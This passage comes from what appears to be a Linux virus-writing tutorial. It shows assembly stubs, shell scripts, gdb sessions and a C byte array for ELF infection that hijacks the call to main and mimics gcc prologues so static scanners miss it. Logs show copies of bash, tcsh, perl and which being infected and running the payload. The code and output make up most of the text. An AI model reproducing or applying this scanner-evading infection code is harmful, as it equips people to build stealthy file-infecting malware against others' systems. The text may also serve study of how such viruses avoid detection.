A person who is more than casually interested in computers should be well schooled in machine language, since it is a fundamental part of a computer. | |
Donald Knuth |
The scanners in Turn the pages and Second scan check program layout for deviations. On a typical Linux distribution this yields good results since all programs are compiled and linked with the same set of tools. But there are legitimate reasons for executables to look different. Some rescue tools and non-free executables are linked statically to be independent of the target system. [1]
asmutils is a set of miscellaneous utilities written in assembly language, targeted on embedded systems and small distributions (e.g. installation or rescue disks); also it contains a small libc and a crypto library. It features the smallest possible size and memory requirements, the fastest speed, and offers fairly good functionality.
The next best approach is to follow the flow of control and verify visited code, starting from the entry point. Again this relies on a certain homogeneity of executables.
A very simple check is alignment. We handle that here and here. gcc(1) never starts functions on odd addresses. But neither VIT nor RST seem to care and put the infection after the last byte of the code segment.
The improved versions of patchEntryAddr in The entry point do a primitive check of the call to __libc_start_main. Since we leave the entry point unmodified we pass this test.
The next step is to check entry code of functions called by __libc_start_main, especially main. We are vulnerable to this.
patchEntryAddr 3.0 patches the call of __libc_start_main to invoke our virus code instead of main. To stay undetected our code should mimic the real thing. The disassembly of our first program shows everything we need to know. But then that listing was retrieved through heavy cheating.
To disassembly the main of a regular executable we extend the exercise of Disassemble it again, Sam. The script performs no kind of error checking. Feeding anything else than executables built by gcc(1) can have strange effects (like no output at all). There is also no limit on output length. In the examples below the Makefile building this document used head(1).
Command: src/stub_revisited/intel.sh
#!/bin/sh
file=${1:-/bin/bash}
entry_point=$( od -j24 -An -td4 -N4 ${file} )
# 134512640 = 0x8048000
# 24 = offset to address of main in code of _start
main_point_ofs=$( expr ${entry_point} - 134512640 + 24 )
main=$( od -j${main_point_ofs} -An -td4 -N4 ${file} )
main_ofs=$( expr ${main} - 134512640 )
ndisasm -e ${main_ofs} -o ${main} -U ${file} |
First a simple test. Compare with above mentioned disassembly.
Output: out/i386-redhat-linux/stub_revisited/magic_elf.disasm
08048400 55 push ebp
08048401 89E5 mov ebp,esp
08048403 83EC0C sub esp,byte +0xc
08048406 6A03 push byte +0x3
08048408 6801800408 push dword 0x8048001
0804840D 6A01 push byte +0x1
0804840F E8BCFEFFFF call 0x80482d0
08048414 31C0 xor eax,eax
08048416 89EC mov esp,ebp
08048418 5D pop ebp |
A look at tmp/doing_it_in_c/e3/sh_infected.
Output: out/i386-redhat-linux/stub_revisited/sh_infected.disasm
080C6420 6840950508 push dword 0x8059540
080C6425 9C pushf
080C6426 60 pusha
080C6427 E804000000 call 0x80c6430
080C642C 61 popa
080C642D 9D popf
080C642E C3 ret
080C642F 90 nop
080C6430 55 push ebp
080C6431 89E5 mov ebp,esp |
And this is plain /bin/bash.
Output: out/i386-redhat-linux/stub_revisited/sh.disasm
08059540 55 push ebp
08059541 89E5 mov ebp,esp
08059543 57 push edi
08059544 56 push esi
08059545 53 push ebx
08059546 83EC24 sub esp,byte +0x24
08059549 8B4508 mov eax,[ebp+0x8]
0805954C 6A01 push byte +0x1
0805954E 68600B0D08 push dword 0x80d0b60
08059553 8945E4 mov [ebp-0x1c],eax |
The first two instructions, making up three bytes, are constant. They are followed by an optional series of push to save special registers. Then comes a sub esp to reserve space for local variables. This also seems to be constant. Trivial In the language of mortals does not use local variables and still ends up with a sub.
For the exit code of /bin/bash we need a better filter.
Command: src/stub_revisited/intel_ret.sh
#!/bin/sh
( src/stub_revisited/ndisasm.sh "$@" 2>&1 ) \
| sed -e '/ret/q' \
| tail |
Output: out/i386-redhat-linux/stub_revisited/sh_ret.disasm
src/stub_revisited/intel_ret.sh: src/stub_revisited/ndisasm.sh: No such file or directory |
I call this weird. It seems that 0xc byte are reserved on the stack just to stay unused. And why does one program use leave and the other pop ebp? A quote from the documentation [2] of nasm [3] :
LEAVE ; C9 [186]
LEAVE destroys a stack frame of the form created by the ENTER instruction [4] It is functionally equivalent to MOV ESP,EBP followed by POP EBP.
I guess that we are safe on that front. It's easy to check the existence of fixed byte values at a certain location (the entry code). But I doubt whether a static scanner could really realize whether a given exit code is just a dummy. Or what instruction a ret effectively jumps to.
Let's examine the stack of In the language of mortals just after the sub was executed. Note that you don't have to quote character "$" in interactive gdb(1) sessions. Instead of "\$sp" you type plain "$sp" to reference the stack pointer.
Command: src/stub_revisited/stack.sh
#!/bin/sh
file=${1:-${TMP}/magic_elf/magic_elf}
gdb ${file} -q <<EOT
break *0x08048466
run
backtrace
printf "esp=%08x ebp=%08x\n", \$esp, \$ebp
x/3xw \$sp
x/3xw \$sp + 12
x/3xw \$sp + 24
x/3xw \$sp + 36
EOT |
Output: out/i386-redhat-linux/stub_revisited/stack
(gdb) Breakpoint 1 at 0x8048466
(gdb) Starting program: /home/alba/virus-writing-HOWTO/tmp/i386-redhat-linux/magic_elf/magic_elf
ELF
Program received signal SIGSEGV, Segmentation fault.
0x08048536 in ?? ()
(gdb) #0 0x08048536 in ?? ()
#1 0x4004c456 in exit () from /lib/libc.so.6
#2 0x400390cd in __libc_start_main () from /lib/libc.so.6
(gdb) esp=bffff89c ebp=bffff8a8
(gdb) 0xbffff89c: 0x0804846a 0x40144f38 0x4014430c
(gdb) 0xbffff8a8: 0xbffff8d8 0x4004c456 0x00000000
(gdb) 0xbffff8b4: 0x00000000 0x40012020 0x4004c3ea
(gdb) 0xbffff8c0: 0xbffff908 0x4000a660 0x00000003
(gdb) |
The program was stopped at address 0x8048536 in function ??, which was called from exit. We already encountered file
Command: src/stub_revisited/get_libc_start_main.sh
#!/bin/sh
output=${1:-src/stub_revisited/__libc_start_main}
stack=${2:-${OUT}/stub_revisited/stack}
base_dir=$(
find /usr/src/redhat/SOURCES -maxdepth 1 -type d -name 'glibc-*'
)
# If the file is not in the place I'm used to on my machine
# we fall back to the copy shipped with this document.
# Forcing my usage of SRPMs gains nothing.
[ -d "${base_dir}" ] || exit 0
sed -n -e 's/:/ /g' -e 's/^ *at *//p' < ${stack} \
| ( read original_filename line_number
[ -n "${original_filename}" ] || exit 0
filename="${base_dir}/${original_filename#../}"
[ -e ${filename} ] || exit 0
start=$( expr ${line_number} - 8 )
end=$( expr ${line_number} + 4 )
( echo "# ${filename}"
echo ""
nl -ba -p ${filename} | sed -n -e "${start},${end} p"
) > ${output}
) |
Command: src/stub_revisited/__libc_start_main
# /usr/src/redhat/SOURCES/glibc-2.2.4/sysdeps/generic/libc-start.c
121 if (init)
122 (*init) ();
123
124 #ifdef SHARED
125 if (__builtin_expect (_dl_debug_mask & DL_DEBUG_IMPCALLS, 0))
126 _dl_debug_printf ("\ntransferring control: %s\n\n", argv[0]);
127 #endif
128
129 exit ((*main) (argc, argv, __environ));
130 } |
Looks plausible.
Address | esp | ebp | Contents | Description |
---|---|---|---|---|
The top three values on the stack are just random junk. The instruction just before our break point decremented esp by 0xc = 12 to use that space for local variables. They are not initialized yet, though. | ||||
0xbffff89c | esp + 0 | ebp - 12 | 0x804846a | random junk |
0xbffff8a0 | esp + 4 | ebp - 8 | 0x40144f38 | random junk |
0xbffff8a4 | esp + 8 | ebp - 4 | 0x4014430c | random junk |
Everything further down - including the next two values - must be preserved for the host code. | ||||
0xbffff8a8 | esp + 12 | ebp + 0 | 0xbffff8d8 | saved ebp |
0xbffff8ac | esp + 16 | ebp + 4 | 0x4004c456 | return address |
The next three values are the arguments of main. We declared the function as plain main() so gdb(1) does not know about these identifiers. | ||||
0xbffff8b0 | esp + 20 | ebp + 8 | 0x0 | argc |
0xbffff8b4 | esp + 24 | ebp + 12 | 0x0 | argv |
0xbffff8b8 | esp + 28 | ebp + 16 | 0x40012020 | environ |
The next few values up to 0xbffff8d8 (saved ebp) are local variables of exit. |
The new stub must fulfill a few constraints.
Both entry code and exit code is fixed.
The stack below ebp + 0 must not be modified.
After executing infectious code it must jump to the original host code.
Original host code expects the value of esp to be 0xbffff8ac and the value of ebp to be 0xbffff8d8 (values are not constant, just given for illustration).
If we keep original exit code then we must modify the stack. The simpliest approach is to move the original ebp one position (4 bytes) down. Original entry code already reserved 12 unused bytes so we don't have to adjust esp. In the free space we store the address of host code.
Source: src/doing_it_in_c/i2/i386-Linux.asm
BITS 32
push ebp
mov ebp,esp
sub esp,byte 0xc
wrapper: ; replace -1 with address of original host code
mov eax,dword -1
xchg eax,[ebp]
sub ebp,byte 4
mov [ebp],eax
align 8
; dummy instruction to specify offset
push byte wrapper + 1 |
The following disassembly shows stub and the first function of the C part, called body. The stub ends with a few nop instructions to align its size. Flow of control just continues from stub to body. Since this is a regular C function it also has standard entry code. But this does not matter because standard exit code starts with a leave. No matter how much stuff was pushed on the stack between end of stub and exit code of body, the leave instruction will pop off the moved ebp. The following ret then jumps to host code.
Source: out/i386-redhat-linux/doing_it_in_c/e3i2.disasm
08049318 55 push ebp
08049319 89E5 mov ebp,esp
0804931B 83EC0C sub esp,byte +0xc
0804931E B8FFFFFFFF mov eax,0xffffffff
08049323 874500 xchg eax,[ebp+0x0]
08049326 83ED04 sub ebp,byte +0x4
08049329 894500 mov [ebp+0x0],eax
0804932C 90 nop
0804932D 90 nop
0804932E 90 nop
0804932F 90 nop
08049330 55 push ebp
08049331 89E5 mov ebp,esp
08049333 57 push edi
08049334 52 push edx
08049335 E82A000000 call 0x8049364
0804933A 8D90A0930408 lea edx,[eax+0x80493a0]
08049340 89D7 mov edi,edx
08049342 FC cld
08049343 31C0 xor eax,eax
08049345 B9FFFFFFFF mov ecx,0xffffffff
0804934A F2AE repne scasb
0804934C F7D1 not ecx
0804934E 49 dec ecx
0804934F 51 push ecx
08049350 52 push edx
08049351 6A01 push byte +0x1
08049353 6A04 push byte +0x4
08049355 E81A000000 call 0x8049374
0804935A 83C410 add esp,byte +0x10
0804935D 8B7DFC mov edi,[ebp-0x4]
08049360 C9 leave
08049361 C3 ret |
Output: out/i386-redhat-linux/doing_it_in_c/e3i2/cc
Infecting copy of /bin/tcsh... wrote 168 bytes, Ok
Infecting copy of /usr/bin/perl... wrote 168 bytes, Ok
Infecting copy of /usr/bin/which... wrote 168 bytes, Ok
Infecting copy of /bin/sh... wrote 168 bytes, Ok |
Output: out/i386-redhat-linux/doing_it_in_c/test-e3i2
ELF is dead baby, ELF is dead.
/home/alba/virus-writing-HOWTO/tmp/i386-redhat-linux/doing_it_in_c/e3i2/sh_infected
2.05a.0(1)-release
/usr/bin/which
ELF is dead baby, ELF is dead.
/usr/bin/which
ELF is dead baby, ELF is dead.
tcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
ELF is dead baby, ELF is dead.
ELF is dead baby, ELF is dead.
GNU bash, version 2.05a.0(1)-release (i686-pc-linux-gnu)
Copyright 2001 Free Software Foundation, Inc. |
This is the same idea, only obfuscated by an intermediate call. Variations on this topic are endless.
Source: src/doing_it_in_c/i3/i386-Linux.asm
BITS 32
push ebp
mov ebp,esp
sub esp,byte 0xc
call wrapper
leave
ret
align 4
wrapper: ; replace -1 with address of original host code
mov eax,dword -1
xchg eax,[ebp]
sub ebp,byte 4
mov [ebp],eax
align 8
; dummy instruction to specify offset
push byte wrapper + 1
|
Source: out/i386-redhat-linux/doing_it_in_c/i3/infection.inc
const unsigned char Target::infection[]
__attribute__ (( aligned(8), section(".text") )) =
{
0x55, /* 00000000: push ebp */
0x89,0xE5, /* 00000001: mov ebp,esp */
0x83,0xEC,0x0C, /* 00000003: sub esp,byte +0xc */
0xE8,0x05,0x00,0x00,0x00, /* 00000006: call 0x10 */
0xC9, /* 0000000B: leave */
0xC3, /* 0000000C: ret */
0x90, /* 0000000D: nop */
0x90, /* 0000000E: nop */
0x90, /* 0000000F: nop */
0xB8,0xFF,0xFF,0xFF,0xFF, /* 00000010: mov eax,0xffffffff */
0x87,0x45,0x00, /* 00000015: xchg eax,[ebp+0x0] */
0x83,0xED,0x04, /* 00000018: sub ebp,byte +0x4 */
0x89,0x45,0x00, /* 0000001B: mov [ebp+0x0],eax */
0x90, /* 0000001E: nop */
0x90 /* 0000001F: nop */
};
enum { ENTRY_POINT_OFS = 0x11 }; |
Output: out/i386-redhat-linux/doing_it_in_c/e3i3/cc
Infecting copy of /bin/tcsh... wrote 192 bytes, Ok
Infecting copy of /usr/bin/perl... wrote 192 bytes, Ok
Infecting copy of /usr/bin/which... wrote 192 bytes, Ok
Infecting copy of /bin/sh... wrote 192 bytes, Ok |
Output: out/i386-redhat-linux/doing_it_in_c/test-e3i3
ELF is dead baby, ELF is dead.
/home/alba/virus-writing-HOWTO/tmp/i386-redhat-linux/doing_it_in_c/e3i3/sh_infected
2.05a.0(1)-release
/usr/bin/which
ELF is dead baby, ELF is dead.
/usr/bin/which
ELF is dead baby, ELF is dead.
tcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
ELF is dead baby, ELF is dead.
ELF is dead baby, ELF is dead.
GNU bash, version 2.05a.0(1)-release (i686-pc-linux-gnu)
Copyright 2001 Free Software Foundation, Inc. |
[1] | |
[2] | http://www.octium.net/oldnasm/docs/nasmdoca.html#section-A.94 |
[3] | |
[4] | http://www.octium.net/oldnasm/docs/nasmdoca.html#section-A.27 |